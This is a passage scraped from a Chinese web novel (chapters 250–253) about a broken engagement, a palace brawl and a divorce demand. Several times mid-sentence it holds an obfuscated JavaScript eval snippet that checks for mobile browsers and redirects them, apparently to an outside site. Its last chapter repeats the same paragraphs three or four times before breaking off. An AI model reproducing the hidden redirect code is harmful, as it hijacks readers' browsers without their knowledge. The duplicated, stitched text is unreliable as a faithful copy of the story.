双方没谈拢,三人被轰出了穆家。 第二日,穆氏去萧家闹事,逼得萧清月寻短见,害萧老夫人气得晕过去的消息就传遍了大街小巷。 使臣团还没走,卫凌泽还要入宫当值。 他到时,正好听到几个同僚在议论这件事。 “这卫家可真够缺德的,自己儿子瘫痪在床不知道能不能站起来,不主动退婚拖着人家萧大小姐,还暗中找人给卫凌泽生孩子,这是把萧家当傻子耍呢。” “可不是嘛,之前萧家推迟婚礼,多少人去萧家说媒,想劝萧大小姐另嫁他人,萧大小姐愣是不愿意,非要嫁给他,结果他却一点儿都不珍惜,若是两家断亲,以萧大小姐的品貌,哪怕是二嫁妇,只怕也多的是人想要求娶。” “谁说不是呢,我就愿意娶萧大小姐为妻,萧大小姐那脸蛋儿那身段,瀚京有几个人能比得上啊。” 这话一出,几人不自觉露出垂涎之色。 也不知道那样貌美又循规蹈矩的女子尝起来会是什么滋味儿。 虽然有些可惜不是完璧,但被调教过的少妇往往比什么都不懂的少女更有滋味呢。 同为男人,卫凌泽一眼就知道这些人在想什么。 他愤怒地上前,朝着刚刚是愿意娶萧清禾的男人就是一拳:“你算什么东西,也敢肖想我的妻,我告诉你,她是我的,生生世世都是我的,我们不会和离!” 卫凌泽气红了眼,一拳接一拳恨不得把人打死,旁边的人想拉架也被他打了,几人也来了脾气,和卫凌泽打成一团。 动静太大,太子闻讯赶来。 被禁卫军拉开后,卫凌泽还不解气,大声吼道:“放开我,我要杀了他!” 光天化日,“皇宫之内,卫大人竟敢当着本太子的面杀人,真是好大的排场啊。” 听到太子的声音,卫凌泽这才冷静下来,他正要行礼,一偏头却发现沈清渊就站在太子身后,将他的失态狼狈尽收眼底。 第250章 我唤他一声阿兄 “我等知错,请太子殿下恕罪!” 被打的几人都跪下认错,卫凌泽也跪了下去,说出来的话却是:“请太子殿下明察,是他们先在背后嚼舌根、觊觎臣妻,所以我才……” 太子打断卫凌泽:“所以卫大人觉得自己在皇宫大内当众斗殴没有错?” 太子的声音微冷,释放出储君的威压,卫凌泽连忙改口:“微臣知错,请太子殿下恕罪。” 所有人都认了错,太子罚了嚼舌根那几人各二十廷杖作为惩戒,卫凌泽先动手,更为恶劣,罚三十杖。 太子一声令下,立刻有禁卫军上前施刑。 行刑之前,太子幽幽开口提醒了句:“今日使臣团要来宫里议事,谁要是发出声音把使臣团引来看了笑话,后果自负。” 这话一出,所有人都死死地咬牙,不敢发出一点儿声音,心里也明白,太子之所以重罚他们,不只因为他们聚众斗殴,更因为他们不顾大局,没等使臣团离京,就和自己人闹了起来。 太子亲自在旁边监督,禁卫军不敢含糊,等廷杖结束,一群人都被打得面色惨白爬不起来。 “来人,送他们出宫,告诉他们的家人本太子为什么罚他们,让他们在家好好养伤思过,若是伤养好了还是如此德行,那就不用再回来了。” 听到这话,几人的脸色更白了,太子发了话,回到家他们怕是还要被家中长辈扒掉一层皮来,这几句话的代价未免也太大了。 卫凌泽最近被麻烦缠身,已经有些麻木,倒是十分镇定,只是他刚被宫人扶起来,又听到太子说:“卫大人心浮气躁,难以控制情绪,还是多花点时间在家修身养性的好。” 卫凌泽猛然抬头看着太子:“殿下,你这话是什么意思?” 太子迎着卫凌泽的目光反问:“卫大人觉得呢?” 卫凌泽顿时如坠冰窖。 从输给沈清渊那一刻起,他就猜到自己接下来会受到很多白眼和嘲讽,还可能被降职,很长一段时间都得不到重用,但他没想到太子会再次停了他的职。 这一次,他怕是很难再被起用了。 “太子殿下,我今日确实冲动了些,但这惩罚会不会太重了?” 卫凌泽艰难开口,想要再为自己争取一下,却听到太子说:“冬猎之时,你不听劝阻,非要当着使臣团的面挑战自 己人,今日又在宫里大打出手,甚至还偷养外室,为了外室伤人,如此种种还要本宫说得更明白吗? 他不是因为今天这一件事被停职的,而是这段时间以来,所有的表现都在证明他刚愎自用、肆意妄为,是个随时都会失去理智、不堪大用的人。 卫凌泽的脑袋一点点垂了下去,良久之后,他颓然开口:“太子殿下英明,微臣回家后会好好反思、修身养性的。 宫人扶着卫凌泽朝外走去,走了没几步,太子和沈清渊的交谈声传来。 “你这把年纪也该要个孩子了,算算时间,明年这个时候,应该就能摆百日宴了吧? “差不多,不过我和内子都不爱折腾,到时不一定会办。 “不管你办不办,本宫这礼物肯定是会送的,正好本宫的熠儿要念书了,不如让他拜你做先生,等你的孩子长大,正好进宫做伴读,如何? “…… 双方的距离拉开,卫凌泽听不清沈清渊是怎么回答的,只知道太子跟沈清渊说话的语气很是亲厚,不像君臣,更像是多年的朋友,和对他截然不同。 卫凌泽有些茫然,沈清渊不是在京兆府沉寂了十年吗,什么时候和太子的关系这么好了? 接连受伤,加上受到的打击太大,卫凌泽半路晕过去,到家时已发起高热。 云氏听到他在宫里与人打架,又被太子停了职,眼皮不住地狂跳,但见他烧得厉害,又心疼不已,连忙让人把他抬回凌枫院,又派人去回春堂请大夫。 这烧来势汹汹,卫凌泽整个人陷入梦魇,一会儿叫嚣着要杀了轩辕朗,一会儿又骂着春喜,到了最后,他口中只剩下禾儿的名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16025285|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字。 他终于发现这个让他少时怦然心动的姑娘才是他真正爱的人,他不能失去她。 云氏的心都被卫凌泽喊碎了,她顾不得夜深,又去了一趟萧家。 “都是我的错,是我偏心泽儿,害禾儿受了许多委屈,也是我一时糊涂让人给禾儿下药,想要用孩子拴住她,我可以给禾儿下跪道歉,只要禾儿能再去见泽儿一面,你们要我做什么都可以。 云氏说着抬手给了自己两耳光,她哭得眼睛红肿,全无卫家当家主母的端庄,只是一个心疼儿子的母亲。 萧夫人拦住她:“禾儿又不会医术,就算跟你回了卫家又有什么用? 云氏急急开口:“泽儿现在被魇住了,大夫也没有办法,但他一直在叫禾儿的名字,也许禾儿能够唤醒他。” 萧夫人皱紧眉头,还想拒绝,萧清禾突然出现:“娘,我愿意跟母亲回卫家一趟。” 听到萧清禾的声音,云氏松了口气,连忙冲她道:“泽儿现在烧得厉害,情况真的很危急,禾儿你愿意跟我回去,我这辈子都会记着这份情的。” 萧夫人并不赞同萧清禾的做法,还想再劝,萧清禾轻声道:“有些事总是要当面说清楚才行的,我这么一直躲着也不是办法。” 如果卫凌泽醒来后愿意放手和离,两家都能省很多事。 萧清禾神情坚定,萧夫人知道劝不住,只能警告云氏:“禾儿在卫家受了很多委屈,若是这次又出了什么事,我们两家只能不死不休了!” 云氏连连应声,带着萧清禾离开,走出萧家大门,却见一个气宇不凡的男子骑着马守在马车旁。 云氏不认得萧夜辰,见他面色不善地盯着自己,疑惑地问:“禾儿,这位是……?” 萧清禾垂眸敛下讶异,柔声道:“他叫萧夜辰,自幼被萧家收养,我唤他一声阿兄。” 萧清禾的声音温温柔柔,那声“阿兄”一出来,萧夜辰立时抓紧马缰绳,喉咙也跟着滚了滚,好在有夜色遮挡,无人察觉。 第251章 大小姐,我真的不脏 深夜凌枫院里灯火通明。 再次踏入这个院子萧清禾觉得有些陌生在这住的几个月像是一场噩梦。 屋里卫凌泽趴在床上依然发着高热嘴唇都被烧得干裂如云氏所说他一直在唤她。 萧清禾进了屋云氏立刻让丫鬟退下。 萧清禾接过帕子清洗一番重新放在卫凌泽的额头在他又一次呼唤自己名字的时候开口:“卫凌泽是我。” 像是真的有什么魔力过了会儿卫凌泽竟真的睁开眼来:“禾儿真的是你吗?” 问着话卫凌泽伸出手 卫凌泽的手僵在空中片刻后收回苦涩道:“是真的如果在梦里禾儿是不会躲开的。” 卫凌泽脸色是苍白的发着高热头发被汗打湿贴在鬓角说这句话时瞧着怪可怜的。 萧清禾却没有心疼只淡淡道:“是母亲说你病得很重怕你有什么好歹所以来萧家求我来看看你的你如果清醒了我们就谈谈吧。” 萧清禾的声音虽然温柔却透着疏离决绝卫凌泽心头一紧握紧拳头:“你想谈什么?” “我们和离吧。” 萧清禾开口刚说完便被卫凌泽拒绝:“不可能!” 这个话题让卫凌泽激动起来他不顾背上的伤强撑着坐起来:“如果你介意那个女人和私生子我可以让他们永远消失在这世上从今以后我会好好疼你爱你呵护你我不会再控制不住情绪伤害你。” “你已经保证过好几次不会伤害我了但你做到了吗?”萧清禾反问不等卫凌泽回答又问“你说的让他们消失是杀了他们吗都说稚子无辜那女子也同样是无辜的你张口就要害两条人命卫凌泽你不觉得自己很可怕吗?” 更何况那女子和孩子只是小婶婶捏造出来的他不敢承认对小婶婶存在龌龊的心思就要找一对无辜的母子为他犯下的错偿命这根本就是在草菅人命。 萧清禾现在只觉得卫凌泽又懦弱又卑鄙实在是面目可憎再生不出半点儿爱意。 萧清禾语气里的失望还有眼底的厌恶深深的刺痛卫凌泽他连忙改口:“我也可以不杀他们只把他们送走送得远远的我保证他们永远都不会出现在你面前只要不和离以后 你说什么我都听。” 卫凌泽的姿态放得很低,近乎卑微,萧清禾却越发的失望。 为了把她留在身边,他什么好听的话都能说,却没有说一句他错了。 直到现在,他满脑子想的也只有他自己。 看清真相后,萧清禾不再犹豫,直接站了起来:“我心已决,你若是不愿意和离,那就别怪萧家来硬的,到时两家都会闹得不好看。” 萧清禾说完转身就走,卫凌泽连忙下床抓住她的胳膊。 他受了廷杖,背上的伤挺重的,整个人发着烧也很虚弱,不仅没有拉住萧清禾,反而被萧清禾带得往前一扑,撞到旁边的烛台。 噼里啪啦的声音响起,下一刻,房门被踹开,萧夜辰提着剑风一般的来到萧清禾身边,将她护在身后。 云氏也在第一时间来到卫凌泽身边:“泽儿,发生什么事了,你怎么下床来了?” 背上的伤被牵动,卫凌泽疼得皱眉,脸色更加的白,但在看到萧夜辰后,他顾不上疼,只觉得怒火中烧:“我跟禾儿说话,你闯进来做什么?” 萧夜辰没有回答卫凌泽的问题,只偏头问萧清禾:“大小姐没事吧?” “无妨,只是不小心撞到烛台而已,我们走吧。” 萧清禾不想过多纠缠,卫凌泽却不肯善罢甘休,他被萧夜辰眸底的敌意和对萧清禾的保护姿态刺激,一时口不择言:“禾儿,你执意要跟我和离,是不是因为喜欢上他了?我告诉你,他早就在无忧阁出卖男色不知道多少回了,浑身上下都脏透了,你别被他骗了,他……” 卫凌泽话没说完,萧夜辰便提剑直指他的喉咙,杀意凛然。 云氏怕萧夜辰真的会伤人,大声叫起人来,眼看事态要变得不可收拾,萧清禾拽了拽萧夜辰的衣摆:“阿兄,很晚了,我想回家了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16025286|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 一声“阿兄”让萧夜辰敛了一身的杀气。 他收起剑,护着萧清禾朝外走去,卫凌泽又追上来:“不行,禾儿,你不能走……” 卫凌泽刚踏出一步,萧夜辰反身舞了套剑花,将他的衣服挑破,脸上也划出一道血痕:“你再往前走一步,我就杀了你!” 萧夜辰的语气极冷,杀意满满,没有半点儿开玩笑的意思。 云氏连忙抱住卫凌泽:“泽儿,别闹了,禾儿能来看你已经很好了,等你伤 好了我们再去萧家接她回来,算娘求你,好吗?” 萧清禾也怕萧夜辰真的会杀了卫凌泽,趁着云氏拦住卫凌泽的时间,拉着萧夜辰离开。 看着两人离去的背影,卫凌泽突然记起,之前他几次动怒,萧清禾也曾这样劝阻过他,那时并不觉得有什么,如今看到萧清禾对着萧夜辰做同样的事,才惊觉自己失去了什么。 巨大的心痛席卷而来,卫凌泽喉间涌上腥甜,偏头吐出一口血来。 云氏看得心惊肉跳,连忙叫人进来伺候。 另一边,萧清禾拉着萧夜辰出了卫家大门就松了手,她忍不住说:“卫家不敢强留我,你刚刚震慑一下卫凌泽就可以,不该动手伤他,他已经知道你在无忧阁做事,就算你身手高强不怕他,万一他日后故意找无忧阁的茬怎么办?” 萧清禾话里都是担忧,萧夜辰却一个字都没听进去,等她说完,一字一句地说:“我虽然是无忧阁阁主,但从未出卖过男色,没有任何女人碰过我。” 和方才杀气腾腾地跟卫凌泽对峙不同,这会儿的萧夜辰眉眼低垂,气势全无。 莫名的像只被驯化了的狼,正委委屈屈地摇着尾巴。 萧清禾眼皮微跳,一时不知该如何接话,只能转身逃进马车里,她刚要松一口气,帘子被挑起,萧夜辰站在外面,不依不饶地解释:“大小姐,我真的不脏。” 萧清禾捏紧绢帕,尽可能镇定地回答:“我知道了。” 第252章 外人哪有自家人好? 沈清渊托人寻了一些生过孩子,还有照顾孕妇经验的妇人来家里,又亲自告了假陪春喜在家遴选。 这些妇人瞧着都很老练,遇到什么情况,也能及时处理。 听着这些人一声声唤自己夫人,春喜有些恍惚,当年她**进卫家的时候,从没想过能走到今天,正愣神着,耳边传来一声熟悉的呼喊:“阿喜,真的是你呀。 春喜回头,就见李婶带着笑容热切地挤了过来。 “李婶。 春喜颔首打了声招呼,李婶笑弯了眉,一个劲儿地夸春喜现在越来越好看了,又夸沈清渊仪表堂堂,两人是天造地设的一对儿。 等夸得差不多了,李婶才道:“我一听人伢子说雇主的情况就感觉像是你,想着来碰碰运气,没想到真成了,你放心,我家两个儿媳妇都是我伺候的,我女儿月初才又生了个小子,等你生完,还可以叫她来帮你奶孩子。 李婶说着笑得合不拢嘴,好像这差事已经定下给她了,其他人见她跟春喜如此熟稔,也都面露失望。 春喜没接李婶的话茬,有些好奇地问:“李叔这些年给人砌房子应该攒了不少积蓄,李婶家中还有孙儿要带,怎么突然出来做事了? 李婶眼底闪过一丝不自然。 她家男人是个踏实肯干的人,跟着他日子过得还算殷实,但见春喜做完丫鬟成了官夫人,如今日子越过越好,她不免起了心思。 她也想找个大户人家做事,等跟府里的人混熟了,可以想办法把孙女外孙女都送进来,小辈们若是有造化,她的孙儿外孙就能改变命运了。 “这两年你李叔身体不大好,挣得比之前少多了,而且我家两个媳妇闲在家也不挣钱,家里这么多张嘴吃饭,实在是有些紧巴,我就想出来干点儿活。 李婶说着一脸期盼地看着春喜。 春喜是李婶看着长大的,虽然婚后跟娘家不怎么来往了,但那也不能全怪春喜,王氏这个做娘的也委实太偏心了些。 李婶知道春喜的心是好的,加上两家又做了这么多年邻居,就算她犯了什么错,春喜也不会计较,日后有什么好的差事说不定也能优先考虑他们家。 这般想着,李婶控制不住有些雀跃,下一刻却听到春喜说:“李婶,咱们两家做了这么多年邻居,你也算是我的长辈,我不能找你做事。 “什么长辈不长辈的,你有什么事尽管让我去做就好了,”李婶满不在乎,不等春喜回答又道,“这女子怀孕可是大事,吃的用的都要仔细,生完之后更不能劳累,到时有我和我女儿照顾,你就安心吧。” 李婶语气热切,是真的一点儿也不跟春喜见外,直接帮春喜安排好了一切。 春喜索性把话说明白:“李婶,我不是跟您客气,我只是觉得越是熟悉的人越不该变成雇佣关系,不然我和夫君就不会这么费心费力的招人,而是直接找我娘和大嫂了,对吧?” 春喜态度强硬,她连自己的娘家人都没找,拒绝李婶自然也不在话下。 李婶露出失望之色,还是不死心:“阿喜,我知道你是跟你娘有心结,所以才不想找她们,你放心,我一定帮你保守秘密,绝不告诉你娘你怀孕的事,而且我不会倚老卖老,拿钱不做事,我肯定会好好照顾你的。” 李婶已经找了好些日子的活了,但她没有门路,年纪又大,能看上她的都是些抠抠搜搜的人家,照顾春喜是她眼下能找到的最好的活计。 春喜没有动容,温声道:“李婶,你还是另谋高就吧。” 李婶说完还想再说话,沈清渊沉沉开口:“内子有孕,不能耗费太多精力,同样的话,就不要让她重复了。” 沈清渊的声音平平,说出来的话却极有威压,李婶被震慑住,到嘴边的话都噎了回去,不敢再纠缠,匆匆离开。 不过她还是没有死心,迫不及待地去曹家分享了春喜有孕的事。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16025287|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “这都成婚大半年了,你家阿喜总算是有好消息了,要是能一举得子,那地位就稳啦,那位沈大人这把年纪才有孩子,对这孩子宝贝的不行,连她多说几句话都舍不得呢。” 自从断了一根手指后,王氏就变得沉默寡言,成日待在家里带孙子,不再出门跟左邻右舍议论别人家的是非,这会儿听到李婶说春喜有孕,王氏也没有什么反应,倒是钱氏觉得尴尬,给李婶端了碗水来。 李婶喝了一口,冲钱氏道:“阿喜现在住的院子可大了,平日府里也有人伺候,他们今天只是找有照顾孕妇经验的人,过几日肯定是要找奶娘的,日后说不定还要找个书童陪读,这外人哪有自家人好啊,你的奶水不是很多吗,正好你们娘俩可以一起去陪阿喜啊。” 钱氏择菜的手顿了顿,而后摇头道:“阿喜婚后就没怎么回过娘家,而且上回正儿出事,我说了好些怨怪她的话,她怕是不会再愿意见到我这个大嫂了。” “你这孩子怎么这么傻,”李婶不赞同地摇头,“阿喜她要是真的不管娘家人,上次正儿和你娘出事,她能亲自去赎人吗?要不是为了正儿,她能被绑匪带走一个多月吗?” 钱氏抿唇,说不出反驳的话。 李婶继续道:“阿喜这个人其实心挺软的,你这个做大嫂的既然知道说错了话,就主动上门道个歉,缓和一下关系,她毕竟是正儿的亲姑姑,只要她愿意拉正儿一把,正儿日后就不用像你家男人那样累死累活给人干苦力了。” “你好好想想,是你的脸面重要,还是正儿的将来重要?” 夜里,曹武回家,钱氏立刻跟他说了这件事:“今天李婶见到阿喜,听说阿喜有孕了,等你有时间我们去看看阿喜吧,正儿也想他姑姑了。” 曹武没有多想,完全沉浸在要当舅舅的喜悦之中,当即点头:“好。” 两日后,曹武告了假,一大早就带着钱氏和正儿,还有大包小包的东西去看春喜。 第253章 太傅府也招奶娘 春喜这两日开始犯困,曹武和钱氏到时,她才刚醒。 不想让两人久等,春喜直接让人把他们带来主院。 两人一进院就听到春喜招呼:“大哥,大嫂,这里有红糖馒头和蒸蛋,要不要再吃点儿?” “不用了,我们吃了早饭才来的,”曹武直接拒绝,而后把带来的东西全都放到春喜面前,“听李婶说你怀孕了,我和你大嫂就拿了些东西来,虽然不值什么钱,但也是一点儿心意,你别嫌弃。” “大哥说的哪里话,你惦记着我,我高兴还来不及呢。” 春喜把一碗蒸蛋递给钱氏,让她喂给正儿吃,又把曹武拿来那些东西都收好,然后才解释了句:“现在孩子月份还小,我怕不稳当,本来是想等三个月后再跟大哥说的。” 曹武来之前没多想,等见到春喜才发觉这样贸然前来有些唐突,他本来想说几句话就走,听到春喜的解释,顿时咧唇笑起。 阿喜还认他这个大哥,没把他当外人。 曹武挠挠头,笑着说:“阿喜你身体好,妹夫瞧着也很健康,孩子肯定会没事的,你别多想。” 钱氏也跟着宽慰,然后细细地问起春喜最近的情况。 春喜边吃早饭边回答:“这两日就是有些嗜睡,不太想吃荤腥的东西,胃口也小了一点儿,吃不了太多就饱了。” 钱氏点头道:“你这情况还算好的,我怀正儿的头几个月,吃什么吐什么,难受死我了。” 曹武立刻附和:“是啊,你大嫂那个时候什么都吃不下,就喜欢吃那酸得倒牙的果子,现在是冬天,没啥新鲜果子,我给你拿了些果干,等过些日子枣子熟了,我再给你摘些来。” 春喜点点头,没有拒绝曹武的投喂,钱氏见状鼓足勇气开口:“阿喜,之前正儿和娘出事,我太着急了,对你说了一些不好听的话,你大人有大量,别跟我计较。” 不知是紧张还是羞愧,说完这番话,钱氏的脸涨得通红,曹武也跟着局促起来:“阿喜,大哥也不好,大哥没照看好娘和正儿,遇事还不冷静,给你添麻烦了。” 这事在春喜这里早就过去了,她咽下嘴里的东西,温声道:“我现在也是要做母亲的人了,我很能理解大嫂当时的着急,我从来都没有怪过大哥大嫂。” 春喜语气平和且认真,看不出一点儿计较的意思,钱氏松了口气,试 探着开口:“阿喜你如今怀着孕,好些事不懂,需要有经验的人在身边照顾,如果你不嫌弃的话,我可以……” 话没说完,一位风华绝代的贵妇人风风火火地闯了进来,那妇人衣着不俗,所戴钗环更是璀璨夺目,一看身份就很尊贵。 钱氏后面的话卡在喉咙,不自觉抱着正儿起身,和曹武一起退到一边。 恒阳公主是来找春喜的,她没想到主院还有其他人,好奇地问:“阿喜,这两位是谁啊?” “回公主,他们是我的大哥大嫂,听说我怀孕,特意来看望我的。” 春喜起身回答,而后对曹武和钱氏说:“大哥大嫂,这是恒阳公主。” 两人何曾见过皇亲国戚,连忙跪下行礼,异口同声道:“草民拜见公主。” “起来吧,”恒阳公主随意地摆摆手,“本公主和阿喜是好朋友,你们不必如此害怕。” 这可是活生生的公主诶,哪能不害怕? 钱氏吓得腿软,被曹武拉了一把才站起来,刚站稳,又听到恒阳公主说:“我昨日去宫里找皇嫂讨了两个很有经验的嬷嬷,她们之前一直在贤妃娘娘身边伺候,精通膳食,不只懂得照顾孕妇,带孩子也是一把好手,阿喜你没有婆母帮忙操持,本公主这下是不是帮了你大忙了?” 恒阳公主边说边冲春喜挤眉弄眼。 她还没有跟驸马坦白有孕这件事,也拿不准要不要这个孩子,打着帮春喜的名义从宫里要两个嬷嬷来,可以先悄悄体验一下怀孕是什么感觉。 春喜没有戳穿恒阳公主,认认真真地谢恩:“公主对臣妇实在是太好了,这份大恩臣妇一定会一辈子铭记于心,绝不敢忘。” 恒阳公主很是受用,她还想跟春喜多聊聊,但曹武和钱氏还在一旁,只能忍住。 春喜看向钱氏:“对了,大嫂方才要说什么?” 突然被问到,钱氏脑袋空白,磕磕巴巴地说:“没……没什么,我只是担心阿喜身边没人照顾,现在有公主送来的人,那就没什么好担心的了。” 曹武跟着点头,恭敬道:“家里还有事,我们先回去了,就不打扰公主了。” 春喜没留他们,让阿鲤送他们出府。 两人受到很大的冲击,回到家后,曹武才回过神来傻乐。 他竟然见到公主了,他家阿喜好厉害啊! 看样子公主还很喜欢阿喜,以后应该没有什么人敢欺负阿喜了。 曹武替春喜高兴着,夜里睡得很香,钱氏却是彻夜辗转未眠。 她早就知道春喜做了官夫人,还嫁入了侯府,但春喜的婚礼办得很简单,而且在侯府遇到了很多纷争,甚至不知道得罪了什么人,害得正儿和婆母都受到了牵连。 钱氏一直觉得春喜的日子并没有婆母和街坊四邻说的那么光鲜,可今天看到恒阳公主对春喜那么好,钱氏才突然意识到,春喜也成了高不可攀的贵人。 第二日,曹武照常去上工,他才刚走,李婶就找了过来:“怎么样,阿喜答应让你们娘俩入府了吗?” “没有。” “她怎么这样啊,反正都是要花钱请人的,干什么非要请外人,你可是她的亲大嫂,你都拉下脸主动找她了,她怎么就不知道拉扯一下家里人?” 李婶情绪激动,比钱氏还要生气。 钱氏小声嗫嚅:“李婶你误会了,这事不怪阿喜。” 是她听到公主找了宫里的嬷嬷,没脸说自己能比那两位嬷嬷照顾得更好。 李婶没把钱氏的话听进去,转而道:“我知道另外一户好人家也在招奶娘,我跟中间人说了你的情况,他们觉得你挺合适的,你要不要去试试?” “李婶,我不行……” 钱氏立刻摇头拒绝。 她胆子小,没接触过多少人,跟春喜熟悉才会被李婶说动,要是去陌生人家里,她想想就害怕。 李婶立刻道:“那位夫人现在还没生,你去了什么都不用做,吃好喝好把奶水养足一个月就能拿十两银子,这样的差事打着灯笼都难找,你当真不要?” “……” 钱氏咬唇,又动摇起来。 第二日,李婶带着钱氏去了太傅府。 两人从侧门进,在下人的带领下穿过重重的门,走过长廊,终于来到一座安静的院中。 屋里,云晚棠喝了口茶,柔柔开口:“听说你儿子才几个月大,怎么没带着一起来?” 看样子公主还很喜欢阿喜,以后应该没有什么人敢欺负阿喜了。 曹武替春喜高兴着,夜里睡得很香,钱氏却是彻夜辗转未眠。 她早就知道春喜做了官夫人,还嫁入了侯府,但春喜的婚礼办得很简单,而且在侯府遇到了很多纷争,甚至不知道得罪了什么人,害得正儿和婆母都受到了牵连。 钱氏一直觉得春喜的日子并没有婆母和街坊四邻说的那么光鲜,可今天看到恒阳公主对春喜那么好,钱氏才突然意识到,春喜也成了高不可攀的贵人。 第二日,曹武照常去上工,他才刚走,李婶就找了过来:“怎么样,阿喜答应让你们娘俩入府了吗?” “没有。” “她怎么这样啊,反正都是要花钱请人的,干什么非要请外人,你可是她的亲大嫂,你都拉下脸主动找她了,她怎么就不知道拉扯一下家里人?” 李婶情绪激动,比钱氏还要生气。 钱氏小声嗫嚅:“李婶你误会了,这事不怪阿喜。” 是她听到公主找了宫里的嬷嬷,没脸说自己能比那两位嬷嬷照顾得更好。 李婶没把钱氏的话听进去,转而道:“我知道另外一户好人家也在招奶娘,我跟中间人说了你的情况,他们觉得你挺合适的,你要不要去试试?” “李婶,我不行……” 钱氏立刻摇头拒绝。 她胆子小,没接触过多少人,跟春喜熟悉才会被李婶说动,要是去陌生人家里,她想想就害怕。 李婶立刻道:“那位夫人现在还没生,你去了什么都不用做,吃好喝好把奶水养足一个月就能拿十两银子,这样的差事打着灯笼都难找,你当真不要?” “……” 钱氏咬唇,又动摇起来。 第二日,李婶带着钱氏去了太傅府。 两人从侧门进,在下人的带领下穿过重重的门,走过长廊,终于来到一座安静的院中。 屋里,云晚棠喝了口茶,柔柔开口:“听说你儿子才几个月大,怎么没带着一起来?” 看样子公主还很喜欢阿喜,以后应该没有什么人敢欺负阿喜了。 曹武替春喜高兴着,夜里睡得很香,钱氏却是彻夜辗转未眠。 她早就知道春喜做了官夫人,还嫁入了侯府,但春喜的婚礼办得很简单,而且在侯府遇到了很多纷争,甚至不知道得罪了什么人,害得正儿和婆母都受到了牵连。 钱氏一直觉得春喜的日子并没有婆母和街坊四邻说的那么光鲜,可今天看到恒阳公主对春喜那么好,钱氏才突然意识到,春喜也成了高不可攀的贵人。 第二日,曹武照常去上工,他才刚走,李婶就找了过来:“怎么样,阿喜答应让你们娘俩入府了吗?” “没有。” “她怎么这样啊,反正都是要花钱请人的,干什么非要请外人,你可是她的亲大嫂,你都拉下脸主动找她了,她怎么就不知道拉扯一下家里人?” 李婶情绪激动,比钱氏还要生气。 钱氏小声嗫嚅:“李婶你误会了,这事不怪阿喜。” 是她听到公主找了宫里的嬷嬷,没脸说自己能比那两位嬷嬷照顾得更好。 李婶没把钱氏的话听进去,转而道:“我知道另外一户好人家也在招奶娘,我跟中间人说了你的情况,他们觉得你挺合适的,你要不要去试试?” “李婶,我不行……” 钱氏立刻摇头拒绝。 她胆子小,没接触过多少人,跟春喜熟悉才会被李婶说动,要是去陌生人家里,她想想就害怕。 李婶立刻道:“那位夫人现在还没生,你去了什么都不用做,吃好喝好把奶水养足一个月就能拿十两银子,这样的差事打着灯笼都难找,你当真不要?” “……” 钱氏咬唇,又动摇起来。 第二日,李婶带着钱氏去了太傅府。 两人从侧门进,在下人的带领下穿过重重的门,走过长廊,终于来到一座安静的院中。 屋里,云晚棠喝了口茶,柔柔开口:“听说你儿子才几个月大,怎么没带着一起来?” 看样子公主还很喜欢阿喜,以后应该没有什么人敢欺负阿喜了。 曹武替春喜高兴着,夜里睡得很香,钱氏却是彻夜辗转未眠。 她早就知道春喜做了官夫人,还嫁入了侯府,但春喜的婚礼办得很简单,而且在侯府遇到了很多纷争,甚至不知道得罪了什么人,害得正儿和婆母都受到了牵连。 钱氏一直觉得春喜的日子并没有婆母和街坊四邻说的那么光鲜,可今天看到恒阳公主对春喜那么好,钱氏才突然意识到,春喜也成了高不可攀的贵人。 第二日,曹武照常去上工,他才刚走,李婶就找了过来:“怎么样,阿喜答应让你们娘俩入府了吗?” “没有。” “她怎么这样啊,反正都是要花钱请人的,干什么非要请外人,你可是她的亲大嫂,你都拉下脸主动找她了,她怎么就不知道拉扯一下家里人?” 李婶情绪激动,比钱氏还要生气。 钱氏小声嗫嚅:“李婶你误会了,这事不怪阿喜。” 是她听到公主找了宫里的嬷嬷,没脸说自己能比那两位嬷嬷照顾得更好。 李婶没把钱氏的话听进去,转而道:“我知道另外一户好人家也在招奶娘,我跟中间人说了你的情况,他们觉得你挺合适的,你要不要去试试?” “李婶,我不行……” 钱氏立刻摇头拒绝。 她胆子小,没接触过多少人,跟春喜熟悉才会被李婶说动,要是去陌生人家里,她想想就害怕。 李婶立刻道:“那位夫人现在还没生,你去了什么都不用做,吃好喝好把奶水养足一个月就能拿十两银子,这样的差事打着灯笼都难找,你当真不要?” “……” 钱氏咬唇,又动摇起来。 第二日,李婶带着钱氏去了太傅府。 两人从侧门进,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她胆子小,没接触过多少人,跟春喜熟悉才会被李婶说动,要是去陌生人家里,她想想就害怕。 